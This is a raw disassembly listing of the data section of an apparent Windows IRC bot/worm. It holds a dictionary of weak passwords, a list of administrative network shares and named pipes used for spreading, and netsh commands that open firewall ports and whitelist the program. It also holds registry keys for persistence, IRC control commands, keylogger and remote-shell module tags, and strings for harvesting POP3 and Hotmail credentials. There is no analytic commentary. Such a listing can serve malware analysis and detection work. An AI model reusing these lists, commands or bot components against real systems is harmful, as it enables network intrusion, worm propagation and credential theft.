aXxx_0		db 'xXx',0              ; DATA XREF: .text:0043C9B4o
aXxxx		db 'xxxx',0             ; DATA XREF: .text:0043C9B0o
					; .text:0043CD64o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .text:0043C9ACo
					; .text:0043CD60o
aAdministrato_0	db 'administrator',0    ; DATA XREF: .text:0043C994o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .text:0043C990o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .text:0043C98Co
					; .text:004490F4o
		align 4
aBoss		db 'BOSS',0             ; DATA XREF: .text:0043C940o
					; .text:0043C9A0o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .text:0043C93Co
					; .text:0043CABCo
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .text:0043C938o
					; .text:0043CAB8o
		align 4
aAccount	db 'account',0          ; DATA XREF: .text:0043C934o
					; .text:0043CAB4o
aAccess		db 'access',0           ; DATA XREF: .text:0043C930o
					; .text:0043CAB0o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .text:0043C928o
					; .text:0043CCA8o
		align 4
aM_4		db 'm$',0               ; DATA XREF: .text:0043C924o
		align 4
aMs_user	db 'MS_USER',0          ; DATA XREF: .text:0043C920o
					; .text:0043CBA8o
aBillgates	db 'billgates',0        ; DATA XREF: .text:0043C91Co
					; .text:0043CAD4o
		align 4
aUsers		db 'users',0            ; DATA XREF: .text:0043C918o
					; .text:0043CCCCo
		align 4
aQaz		db 'qaz',0              ; DATA XREF: .text:0043C914o
					; .text:0043CC30o
a1_0:					; DATA XREF: .text:0043C910o
					; .text:0043CA08o
		unicode	0, <1>,0
off_43D50C	dd offset byte_616161	; DATA XREF: .text:0043C904o
					; .text:0043CA8Co
aLinux		db 'linux',0            ; DATA XREF: .text:0043C8FCo
		align 4
aUnix		db 'unix',0             ; DATA XREF: .text:0043C8F8o
		align 10h
a@_0		db '!@#$%^&',0          ; DATA XREF: .text:0043C8F4o
					; .text:0043C9C4o
a@_2		db '!@#$%^',0           ; DATA XREF: .text:0043C8F0o
					; .text:0043C9C0o
		align 10h
a@_3		db '!@#$%',0            ; DATA XREF: .text:0043C8ECo
					; .text:0043C9BCo
		align 4
a@_4		db '!@#$',0             ; DATA XREF: .text:0043C8E8o
					; .text:0043C9B8o
		align 10h
a@_5		db '!@#',0              ; DATA XREF: .text:0043C8E4o
a@_6		db '!@',0               ; DATA XREF: .text:0043C8E0o
		align 4
a31337		db '31337',0            ; DATA XREF: .text:0043C8DCo
					; .text:0043C9A4o ...
		align 10h
aDefault_0	db 'default',0          ; DATA XREF: .text:0043C8D8o
aGuest_0	db 'guest',0            ; DATA XREF: .text:0043C8D4o
		align 10h
aBillGates	db 'bill gates',0       ; DATA XREF: .text:0043C8D0o
					; .text:0043CACCo
		align 4
aRdp		db 'rdp',0              ; DATA XREF: .text:0043C8CCo
					; .text:0043CC44o
aR00t		db 'r00t',0             ; DATA XREF: .text:0043C8C8o
					; .text:0043CC48o
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:0043C8C4o
					; .text:0043CC50o
		align 10h
aOwner		db 'owner',0            ; DATA XREF: .text:0043C8C0o
					; .text:0043C99Co ...
		align 4
aManager	db 'manager',0          ; DATA XREF: .text:0043C8BCo
					; .text:0043C92Co ...
aAdministrators	db 'Administrators',0   ; DATA XREF: .text:0043C8B8o
					; .text:0043C988o
		align 10h
aAdministration	db 'Administration',0   ; DATA XREF: .text:0043C8B4o
					; .text:0043C984o
		align 10h
aAdministratori	db 'Administratori',0   ; DATA XREF: .text:0043C8B0o
					; .text:0043C980o
		align 10h
aAdministratore	db 'Administratore',0   ; DATA XREF: .text:0043C8ACo
					; .text:0043C97Co
		align 10h
aAdministrado_0	db 'Administrador',27h,0 ; DATA XREF: .text:0043C8A8o
					; .text:0043C978o
		align 10h
aAdministratoro	db 'Administratoro',0   ; DATA XREF: .text:0043C8A4o
					; .text:0043C974o
		align 10h
aAdministrada	db 'Administrada',0     ; DATA XREF: .text:0043C8A0o
					; .text:0043C970o
		align 10h
aAdministrateur	db 'Administrateur',0   ; DATA XREF: .text:0043C89Co
					; .text:0043C96Co
		align 10h
aAdministrador	db 'Administrador',0    ; DATA XREF: .text:0043C898o
					; .text:0043C968o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: .text:0043C894o
					; .text:0043C964o
		align 10h
aAdmin		db 'ADMIN',0            ; DATA XREF: .text:0043C890o
					; .text:0043C960o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .text:0043C88Co
					; .text:0043C95Co
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .text:0043C888o
					; .text:0043C958o
aSystem_0	db 'SYSTEM',0           ; DATA XREF: sub_4146B9+36o
					; .text:0043C884o ...
		align 4
aDDDDD		db '%d%d%d%d%d',0       ; DATA XREF: sub_412EB7+87o
		align 4
aSSS_1		db '%s\%s\%s',0         ; DATA XREF: sub_412EB7+3Bo
					; sub_4130E5+285o
		align 4
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_412EB7+11o
					; sub_41B0B0+18o
		align 4
aSSSSSSNetsched	db '%s %s: -> [%s\%s, %s/%s] (NetSchedJobAdded)',0
					; DATA XREF: sub_4130E5+4B2o
aBlank		db '(Blank)',0          ; DATA XREF: sub_4130E5+414o
					; sub_4130E5+45Do
aSSSSSSCreateds	db '%s %s: -> [%s\%s, %s/%s] (CreatedService)',0
					; DATA XREF: sub_4130E5+3EAo
		align 4
aClients	db 'clients$',0         ; DATA XREF: sub_4130E5+20Ao
		align 10h
aSita		db 'SITA$',0            ; DATA XREF: sub_4130E5+203o
		align 4
aLpt1		db 'LPT1$',0            ; DATA XREF: sub_4130E5+1FCo
		align 10h
aSysvol		db 'SYSVOL$',0          ; DATA XREF: sub_4130E5+1F5o
aDownloads	db 'DOWNLOADS$',0       ; DATA XREF: sub_4130E5+1EEo
		align 4
aFtp_0		db 'FTP$',0             ; DATA XREF: sub_4130E5+1E7o
		align 4
aDrivec		db 'drivec$',0          ; DATA XREF: sub_4130E5+1E0o
aIis		db 'IIS$',0             ; DATA XREF: sub_4130E5+1D9o
		align 4
aMssql_0	db 'MSSQL$',0           ; DATA XREF: sub_4130E5+1D2o
		align 4
aMysql_0	db 'MYSQL$',0           ; DATA XREF: sub_4130E5+1CBo
		align 4
aSql_0		db 'SQL$',0             ; DATA XREF: sub_4130E5+1C4o
		align 4
aWinnt_0	db 'WINNT$',0           ; DATA XREF: sub_4130E5+1BDo
		align 4
aWindows_0	db 'WINDOWS$',0         ; DATA XREF: sub_4130E5+1B6o
		align 4
aSystem_1	db 'SYSTEM$',0          ; DATA XREF: sub_4130E5+1AFo
aSeclogon	db 'SECLOGON$',0        ; DATA XREF: sub_4130E5+1A8o
		align 4
aDWindows	db 'D:\WINDOWS$',0      ; DATA XREF: sub_4130E5+1A1o
aDWinnt		db 'D:\WINNT$',0        ; DATA XREF: sub_4130E5+19Ao
		align 4
aCWindowsSystem	db 'C:\WINDOWS\system32$',0 ; DATA XREF: sub_4130E5+193o
		align 4
aCWinntSystem32	db 'C:\WINNT\system32$',0 ; DATA XREF: sub_4130E5+18Co
		align 10h
aCWinnt		db 'C:\WINNT$',0        ; DATA XREF: sub_4130E5+185o
		align 4
aGuest		db 'GUEST$',0           ; DATA XREF: sub_4130E5+17Eo
		align 4
aCWindows	db 'C:\WINDOWS$',0      ; DATA XREF: sub_4130E5+177o
aZ_4		db 'Z$',0               ; DATA XREF: sub_4130E5+170o
		align 4
aY_0		db 'Y$',0               ; DATA XREF: sub_4130E5+169o
		align 4
asc_43D7C8	db 'X$',0               ; DATA XREF: sub_4130E5+162o
		align 4
aW_0		db 'W$',0               ; DATA XREF: sub_4130E5+15Bo
		align 10h
aV_1		db 'V$',0               ; DATA XREF: sub_4130E5+154o
		align 4
aU_1		db 'U$',0               ; DATA XREF: sub_4130E5+14Do
		align 4
aT_0		db 'T$',0               ; DATA XREF: sub_4130E5+146o
		align 4
aR_0		db 'R$',0               ; DATA XREF: sub_4130E5+13Co
		align 10h
aQ_1		db 'Q$',0               ; DATA XREF: sub_4130E5+132o
		align 4
aP_4		db 'P$',0               ; DATA XREF: sub_4130E5+128o
		align 4
aO_1		db 'O$',0               ; DATA XREF: sub_4130E5+11Eo
		align 4
aN_1		db 'N$',0               ; DATA XREF: sub_4130E5+114o
		align 10h
asc_43D7F0	db 'L$',0               ; DATA XREF: sub_4130E5+100o
		align 4
aK_1		db 'K$',0               ; DATA XREF: sub_4130E5+F6o
		align 4
aJ_0		db 'J$',0               ; DATA XREF: sub_4130E5+ECo
		align 4
aI_2		db 'I$',0               ; DATA XREF: sub_4130E5+E2o
		align 10h
asc_43D800	db 'H$',0               ; DATA XREF: sub_4130E5+D8o
		align 4
aG_0		db 'G$',0               ; DATA XREF: sub_4130E5+CEo
		align 4
aF_0		db 'F$',0               ; DATA XREF: sub_4130E5+C4o
		align 4
aE_1		db 'E$',0               ; DATA XREF: sub_4130E5+BAo
		align 10h
aD_0		db 'D$',0               ; DATA XREF: sub_4130E5+B0o
		align 4
aC_1		db 'C$',0               ; DATA XREF: sub_4130E5+A6o
		align 4
aB_1		db 'B$',0               ; DATA XREF: sub_4130E5+9Co
		align 4
aNetlogon	db 'NETLOGON$',0        ; DATA XREF: sub_4130E5+92o
		align 4
aS_7		db 'S$',0               ; DATA XREF: sub_4130E5+88o
		align 4
aPrint		db 'PRINT$',0           ; DATA XREF: sub_4130E5+7Eo
		align 4
aIpc		db 'IPC$',0             ; DATA XREF: sub_4130E5+74o
					; sub_421589+19Fo
		align 4
aAdmin_1	db 'ADMIN$',0           ; DATA XREF: sub_4130E5+6Ao
		align 4
aSIpc		db '%s\IPC$',0          ; DATA XREF: .text:00413698o
aS_8		db '\\%s',0             ; DATA XREF: .text:00413657o
					; sub_421589+147o
		align 4
dword_43D854	dd 0EFFFC481h, 44FFFFh,	43D88Chdword_43D860	dd 42Ah		dword_43D864	dd 3E8h		dword_43D868	dd 258h		byte_43D86C	db 0			; DATA XREF: sub_41391C+3A4r
					; sub_41391C+488r
byte_43D86D	db 1			; DATA XREF: sub_41391C:loc_413CD7r
					; sub_41391C:loc_413E0Er
		align 10h
		dd offset aXp		; "XP"
		dd 2C6h, 264h, 0
		dd 1
dword_43D884	dd 20804h						; sub_41391C+4ACo ...
dword_43D888	dd 158h				dd 322B544Eh, 4Bh
aSPipeTrkwks	db '\\%s\pipe\trkwks',0 ; DATA XREF: sub_41391C+21Eo
		align 4
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_41391C+18Eo
		align 4
aSPipeBrowser_0	db '\\%s\pipe\browser',0 ; DATA XREF: sub_41391C+FEo
		align 10h
aSPipeSrvsvc	db '\\%s\pipe\srvsvc',0 ; DATA XREF: sub_41391C+6Eo
		align 4
aSPipe		db '\\%s\pipe',0        ; DATA XREF: sub_41391C+34o
					; sub_41391C+C4o ...
		align 10h
		unicode	0, <)>,0
		align 8
		dd offset aMozilla5_0Wi_2 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"...
		dd offset aGooglebot2_0_1 ; "Googlebot/2.0 (http://www.googlebot.com"...
		dd offset aMozilla5_0Wi_3 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"...
		dd offset aMozilla5_0X1_3 ; "Mozilla/5.0 (X11; U; Linux	i686; en-US;"...
		dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_6 ; "Mozilla/5.0 (compatible; Konqueror/3.0-"...
		dd offset aMozilla4_0C_11 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Wi_4 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"...
		dd offset aMozilla5_0Maci ; "Mozilla/5.0 (Macintosh; U;	PPC Mac	OS X"...
		dd offset aMozilla5_0Wi_5 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"...
		dd offset aMozilla4_0C_12 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0X1_4 ; "Mozilla/5.0 (X11; U; Linux	i686; en-US;"...
		dd offset aMozilla5_0X1_5 ; "Mozilla/5.0 (X11; U; Linux	i686; en-US;"...
		dd offset aGooglebot2_1_1 ; "Googlebot/2.1 (http://www.googlebot.com"...
		dd offset aMozilla5_0Wi_6 ; "Mozilla/5.0 (Windows; U; Windows NT 5.1"...
		dd offset aMozilla5_0Co_7 ; "Mozilla/5.0 (compatible; Googlebot/2.1;"...
		dd offset aMediapartnersG ; "Mediapartners-Google/2.1"
		dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"...
		dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"...
		dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600"
		dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0;	Wind"...
		dd offset aMozilla4_0C_13 ; "Mozilla/4.0 (compatible; MSIE 5.5;	Wind"...
		dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_14 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_15 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_16 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_17 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_18 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_19 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_20 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_21 ; "Mozilla/4.0 compatible ZyBorg/1.0 (wn.z"...
		dd offset aMozilla4_75En ; "Mozilla/4.75 [en]"
		dd offset aMozilla5_0Wi_7 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"...
		dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386;	en-U"...
		align 10h
aMozilla5_0Wi_7	db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20'
					; DATA XREF: .text:0043D994o
		db '030728 Mozilla Firebird/0.6.1',0
		align 10h
aMozilla4_0C_21	db 'Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:'
					; DATA XREF: .text:0043D98Co
		db '//www.WISEnutbot.com)',0
		align 4
aMozilla4_0C_20	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0
					; DATA XREF: .text:0043D988o
		align 8
aMozilla4_0C_19	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator'
					; DATA XREF: .text:0043D984o
		db ')',0
		align 10h
aMozilla4_0C_18	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0'
					; DATA XREF: .text:0043D980o
		db ')',0
		align 8
aMozilla4_0C_17	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts'
					; DATA XREF: .text:0043D97Co
		db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0
		align 10h
aMozilla4_0C_16	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)',0
					; DATA XREF: .text:0043D978o
		align 10h
aMozilla4_0C_15	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser '
					; DATA XREF: .text:0043D974o
		db '[avantbrowser.com]; .NET CLR 1.1.4322)',0
aMozilla4_0C_14	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; H0108'
					; DATA XREF: .text:0043D95Co
		db '18; AT&T CSM6.0)',0
		align 4
aMozilla4_0C_13	db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0
					; DATA XREF: .text:0043D954o
		align 4
aMediapartnersG	db 'Mediapartners-Google/2.1',0 ; DATA XREF: .text:0043D938o
		align 4
aMozilla5_0Co_7	db 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bo'
					; DATA XREF: .text:0043D934o
		db 't.html)',0
		align 8
aMozilla5_0Wi_6	db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko'
					; DATA XREF: .text:0043D930o
		db '/20070725 Firefox/2.0.0.6',0
		align 4
aGooglebot2_1_1	db 'Googlebot/2.1 (http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:0043D92Co
		align 4
aMozilla5_0X1_5	db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/2006120'
					; DATA XREF: .text:0043D928o
		db '1 Firefox/2.0.0.6 (Ubuntu-feisty)',0
		align 10h
aMozilla5_0X1_4	db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20070308 '
					; DATA XREF: .text:0043D924o
		db 'Minefield/3.0a1',0
		align 4
aMozilla4_0C_12	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0
					; DATA XREF: .text:0043D920o
		align 10h
aMozilla5_0Wi_5	db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko'
					; DATA XREF: .text:0043D91Co
		db '/20070515 Firefox/2.0.0.4',0
		align 10h
aMozilla5_0Maci	db 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.3 (K'
					; DATA XREF: .text:0043D918o
		db 'HTML, like Gecko) Safari/419.3',0
aMozilla5_0Wi_4	db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.7) Gecko/2'
					; DATA XREF: .text:0043D914o
		db '0050414 Firefox/2.0.5',0
		align 4
aMozilla4_0C_11	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR '
					; DATA XREF: .text:0043D910o
		db '1.1.4322)',0
		align 8
aMozilla5_0Co_6	db 'Mozilla/5.0 (compatible; Konqueror/3.0-rc1; i686 Linux; 20020527)'
					; DATA XREF: .text:0043D90Co
		db 0
		align 10h
aMozilla5_0X1_3	db 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8a5) Gecko/20041122',0
					; DATA XREF: .text:0043D904o
		align 8
aMozilla5_0Wi_3	db 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko'
					; DATA XREF: .text:0043D900o
		db '/20071008 Firefox/2.0.0.8',0
		align 4
aGooglebot2_0_1	db 'Googlebot/2.0 (http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:0043D8FCo
		align 4
aMozilla5_0Wi_2	db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.7.7) Gecko/2'
					; DATA XREF: .text:0043D8F8o
		db '0050414 Firefox/2.0.5',0
		align 10h
aCouldnTResolve	db 'Couldn',27h,'t resolve',0 ; DATA XREF: sub_4140F8:loc_41415Do
		align 4
a90		db '90',0               ; DATA XREF: sub_414173:loc_414242o
		align 4
a168		db '168',0              ; DATA XREF: sub_414173+BCo
a192		db '192',0              ; DATA XREF: sub_414173:loc_41421Eo
a16		db '16',0               ; DATA XREF: sub_414173+98o
		align 4
a172		db '172',0              ; DATA XREF: sub_414173+87o
a10		db '10',0               ; DATA XREF: sub_414173+76o
		align 4
aProccessTermin	db 'Proccess terminated.',0Dh,0Ah,0 ; DATA XREF: sub_4143AB+117o
		align 4
aCouldNotReadDa	db 'Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_4143AB:loc_414499o
					; sub_4143AB:loc_4144E5o
		align 4
aSFailedToSta_5	db '%s Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_414508+19Co
		align 4
aSCmdPrompt	db '%s CMD Prompt',0    ; DATA XREF: sub_414508+151o
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_414508+2Co
					; sub_423517+86o ...
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_4146B9+91o
		db 'lPolicy\DomainProfile\AuthorizedApplications\List',0
		align 8
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_4146B9+55o
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 10h
aEnabled	db ':*:Enabled:',0      ; DATA XREF: sub_4146B9+25o
aBitdefenderFir	db 'BitDefender Firewall Alert',0 ; DATA XREF: sub_41477A+1Do
		align 4
aWindowsSecurit	db 'Windows Security Alert',0 ; DATA XREF: sub_41477A:loc_414785o
		align 10h
aFirewallSetAll	db 'firewall set allowedprogram "%s" workstation ENABLE ALL',0
					; DATA XREF: sub_414810+E2o
aFirewallAddAll	db 'firewall add allowedprogram "%s" workstation ENABLE ALL',0
					; DATA XREF: sub_414810+B4o
aFirewallSetP_2	db 'firewall set portopening TCP 8081 PORT2',0 ; DATA XREF: sub_414810+6Eo
aFirewallSetP_1	db 'firewall set portopening TCP 8080 PORT1',0 ; DATA XREF: sub_414810+45o
aNetsh		db 'netsh',0            ; DATA XREF: sub_414810+35o
					; sub_414926+43o
		align 4
aFirewallSetP_0	db 'firewall set portopening TCP 1013 BS',0 ; DATA XREF: sub_414810+11o
		align 10h
aFirewallSetPor	db 'firewall set portopening TCP %d FD',0 ; DATA XREF: sub_414926+25o
		align 4
aDebugOpenedNet	db '(Debug): opened netsh firewall for FTPD Port %d',0Ah,0
					; DATA XREF: sub_414926+Fo
		align 4
aBoot		db 'boot',0             ; DATA XREF: sub_414983+75o
					; sub_41F455+8Fo
		align 10h
aShell		db 'shell',0            ; DATA XREF: sub_414983+70o
					; sub_41F455+8Ao
		align 4
aSystem_ini	db '\system.ini',0      ; DATA XREF: sub_414983+55o
					; sub_41F455+72o
aExplorer_exeS	db 'explorer.exe "%s"',0 ; DATA XREF: sub_414983+33o
		align 4
aSSystem	db '%s\System',0        ; DATA XREF: sub_414983+27Do
					; sub_414CF1+16Bo
		align 4
aSSpoolDriversS	db '%s\spool\drivers\%s',0 ; DATA XREF: sub_414983+216o
					; sub_414CF1+124o
aSWinsS		db '%s\wins\%s',0       ; DATA XREF: sub_414983+1A2o
					; sub_414CF1+D0o
		align 4
aStubpath	db 'StubPath',0         ; DATA XREF: sub_414F35+25o
					; sub_414F91+23o
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\Active Setup\Installed Components\%s',0
					; DATA XREF: sub_414F35+13o
					; sub_414F91+13o
dword_43E558	dd 6E6B6E55h						; sub_418436+35r ...
dword_43E55C	dd 6E776Fh						; sub_418930+3Er
aInvalid	db 'Invalid',0          ; DATA XREF: sub_41508A:loc_4150C7o
aDisk		db 'Disk',0             ; DATA XREF: sub_41508A:loc_4150C1o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_41508A:loc_4150BBo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_41508A:loc_4150B5o
		align 10h
aRamdisk	db 'RAMDISK',0          ; DATA XREF: sub_41508A:loc_4150AFo
a?:					; DATA XREF: sub_41508A+1Fo
		unicode	0, <?>,0
aFailed		db 'Failed',0           ; DATA XREF: sub_415126:loc_415212o
					; sub_4152FB+41o
		align 4
aSS_2		db '%s%s',0             ; DATA XREF: sub_415126+72o
		align 4
aSDriveSTotalSF	db '%s Drive (%s), Total: %s, Free: %s, Available: %s',0
					; DATA XREF: sub_4152FB+9Fo
		align 10h
aSDriveSFailedT	db '%s Drive (%s): Failed to start, device not ready',0
					; DATA XREF: sub_4152FB+62o
		align 4
aDriveTotalsNAT	db 'Drive Totals (N/A), Total: %s%s,Free: %s%s,Available: %s%s',0
					; DATA XREF: sub_4153BB+101o
		align 10h
off_43E640	dd offset byte_5C3A41	; DATA XREF: sub_4153BB:loc_4153FDo
					; sub_4154DA:loc_4155A0o ...
aSEndOfList_	db '%s End of list.',0  ; DATA XREF: sub_4154DA+162o
					; sub_41C143+C4o
aSListingDrives	db '%s Listing drives:',0 ; DATA XREF: sub_4154DA+79o
		align 4
aVnc		db '[VNC]:',0           ; DATA XREF: sub_415702+F7o
		align 10h
aKeylogger	db '[KEYLOGGER]:',0     ; DATA XREF: sub_415702+E2o
		align 10h
aTftp		db '[TFTP]:',0          ; DATA XREF: sub_415702+CDo
aFtp_1		db '[FTP]:',0           ; DATA XREF: sub_415702+B8o
		align 10h
aScan		db '[SCAN]:',0          ; DATA XREF: sub_415702+A7o
aMain		db '[MAIN]:',0          ; DATA XREF: sub_415702+96o
aPhpshell	db 'phpshell',0         ; DATA XREF: sub_415702+85o
		align 4
aWget		db 'wget',0             ; DATA XREF: sub_415702+74o
		align 4
aPush		db '!* PUSH',0          ; DATA XREF: sub_415702+63o
aPan		db '!* PAN',0           ; DATA XREF: sub_415702+52o
		align 4
aUdp		db '!* UDP',0           ; DATA XREF: sub_415702:loc_415743o
		align 4
aSh		db '!* SH',0            ; DATA XREF: sub_415702+2Bo
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_41580E+F7o
					; sub_41591A:loc_41595Bo
		align 4
aTopic		db 'TOPIC',0            ; DATA XREF: sub_41580E+E2o
		align 4
aNotice		db 'NOTICE',0           ; DATA XREF: sub_41580E+CDo
		align 4
aUserhost	db 'USERHOST',0         ; DATA XREF: sub_41580E+B8o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_41580E+A7o
		align 10h
aPong		db 'PONG',0             ; DATA XREF: sub_41580E+96o
		align 4
aOper		db 'OPER',0             ; DATA XREF: sub_41580E+85o
		align 10h
aJoin		db 'JOIN',0             ; DATA XREF: sub_41580E+74o
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_41580E+63o
aNowANetworkAdm	db 'now a network administrator',0 ; DATA XREF: sub_41580E+52o
aIrcOperator	db 'IRC Operator',0     ; DATA XREF: sub_41580E:loc_41584Fo
		align 4
aUser_0		db 'USER ',0            ; DATA XREF: sub_41591A+2Bo
		align 4
a_bot_login	db '_BOT_LOGIN',0       ; DATA XREF: sub_415970:loc_4159B1o
		align 10h
a_bot		db '_BOT',0             ; DATA XREF: sub_415970+2Bo
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4159ED+63o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4159ED+52o
		align 4
aApache1_3	db 'Apache/1.3',0       ; DATA XREF: sub_4159ED:loc_415A2Eo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4159ED+2Bo
		align 4
dword_43E7A4	dd 6C755602h, 22F2F6EhaSDSDS		db ' (%s:%d) -> (%s:%d) - "%s"',0
		align 4
dword_43E7C8	dd 54544802h, 22F2F50haSDSDS_0	db ' (%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_43E7EC	db    2			; DATA XREF: sub_415A65+2C5o
		db 50h,	48h, 50h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_1	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 10h
unk_43E810	db    2			; DATA XREF: sub_415A65+29Do
		db 46h,	54h, 50h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_2	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_43E834	db    2			; DATA XREF: sub_415A65+272o
		db 49h,	52h, 43h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_3	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_43E858	db    2			; DATA XREF: sub_415A65+247o
		db 42h,	6Fh, 74h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_4	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
aSPstore_dllNot	db '%s PStore.dll not loaded',0 ; DATA XREF: sub_415DBD+C5o
		align 4
aPop3Pass2	db 'POP3 Pass2',0       ; DATA XREF: sub_415EA7+29Co
		align 4
aPop3Server	db 'POP3 Server',0      ; DATA XREF: sub_415EA7+250o
aPop3UserName	db 'POP3 User Name',0   ; DATA XREF: sub_415EA7+1FCo
		align 10h
aHttpmailPass2	db 'HTTPMail Pass2',0   ; DATA XREF: sub_415EA7+15Fo
		align 10h
aHotmail	db 'Hotmail',0          ; DATA XREF: sub_415EA7+144o
aHttpmailUserna	db 'HTTPMail UserName',0 ; DATA XREF: sub_415EA7+F3o
		align 4
asc_43E8EC:				; DATA XREF: sub_415EA7+A4o
					; sub_416C0B+83o ...
		unicode	0, <\>,0
aSoftwareMicr_2	db 'Software\Microsoft\Internet Account Manager\Accounts',0
					; DATA XREF: sub_415EA7+2Co
					; sub_415EA7+96o
		align 4
